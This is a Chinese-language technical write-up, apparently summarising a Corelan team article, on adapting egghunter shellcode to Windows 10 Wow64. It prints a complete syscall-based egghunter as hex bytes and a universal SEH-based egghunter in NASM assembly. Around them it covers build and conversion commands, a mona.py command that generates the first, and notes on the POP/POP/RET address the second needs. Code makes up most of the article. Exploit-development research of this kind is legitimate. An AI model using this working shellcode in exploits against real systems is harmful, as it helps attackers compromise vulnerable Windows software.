Windows 10 Egghunter(Wow64)技术解析
引言
作者坦言对Egghunter技术一直怀有浓厚兴趣,但强调在实际漏洞利用中应尽量避免使用,因其会降低执行效率。本文是Corelan团队沉寂三年后的首篇技术文章,重点解决Windows 7时代Lincoln开发的Wow64 Egghunter在Windows 10失效的问题。
技术背景
微软在每个Windows主要版本中都会变更系统调用编号,导致基于特定系统调用(如NtAccessCheckAndAuditAlarm)的Egghunter失效。系统调用编号变化可通过公开文档查询(j00ru.vexillium.org)。
Wow64 Egghunter实现
经过调试分析,团队发现除了系统调用编号变化外,参数传递和栈布局也发生了改变。最终实现的Windows 10 Wow64 Egghunter代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
"\x33\xD2" # XOR EDX,EDX
"\x66\x81\xCA\xFF\x0F" # OR DX,0FFF
"\x33\xDB" # XOR EBX,EBX
"\x42" # INC EDX
"\x52" # PUSH EDX
"\x53" # PUSH EBX
"\x53" # PUSH EBX
"\x53" # PUSH EBX
"\x53" # PUSH EBX
"\x6A\x29" # PUSH 29 (系统调用0x29)
"\x58" # POP EAX
"\xB3\xC0" # MOV BL,0C0
"\x64\xFF\x13" # CALL DWORD PTR FS:[EBX]
"\x83\xC4\x10" # ADD ESP,0x10
"\x5A" # POP EDX
"\x3C\x05" # CMP AL,5
"\x74\xE3" # JE SHORT
"\xB8\x77\x30\x30\x74" # MOV EAX,74303077 (w00t)
"\x8B\xFA" # MOV EDI,EDX
"\xAF" # SCAS DWORD PTR ES:[EDI]
"\x75\xDE" # JNZ SHORT
"\xAF" # SCAS DWORD PTR ES:[EDI]
"\x75\xDB" # JNZ SHORT
"\xFF\xE7" # JMP EDI
|
该Egghunter可通过mona.py生成:!mona egg -wow64 -winver 10
调试技巧
调试时需配置调试器忽略以下异常:
- 0xC0000005 - 访问冲突
- 0x80000001 - 保护页冲突
基于SEH的通用Egghunter
作者进一步探索了不依赖系统调用的SEH(结构化异常处理)方案,该方案理论上可跨Windows版本和架构工作:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
; 通用SEH Egghunter(x86和wow64)
[BITS 32]
CALL $+4
RET
POP ECX
ADD ECX,0x1d
; 设置SEH记录
XOR EBX,EBX
PUSH ECX
PUSH ECX
PUSH 0x90c3585c
PUSH 0x44444444 ; 替换为POP/POP/RET地址
PUSH 0x04EB5858
MOV DWORD [FS:EBX],ESP
JMP nextpage
handle:
SUB ESP,0x14
XOR EBX,EBX
MOV DWORD [FS:EBX],ESP
MOV EDX, [ESP+24]
INC EDX
nextpage:
OR DX, 0x0FFF
INC EDX
MOV [ESP+24], EDX
MOV EAX, 0x74303077
MOV EDI, EDX
SCASD
JNZ nextpage+5
SCASD
JNZ nextpage+5
JMP EDI
|
实现要点
- 使用GetPC技术动态定位处理程序地址
- 构建5层特殊栈结构实现异常处理链
- 需要非SafeSEH保护的POP/POP/RET指令地址
- 通过FS:[0]注册自定义SEH处理程序
使用说明
- 使用NASM编译:
nasm -o egghunter.obj egghunter.nasm
- 转换为Shellcode:
python bin2hex.py egghunter.obj
- 最终Shellcode需替换\x44\x44\x44\x44为实际POP/POP/RET地址
未来展望
随着Windows 10成为"最后"的Windows版本,Egghunter的兼容性可能更持久。但作者仍建议优先考虑不使用Egghunter的利用方案。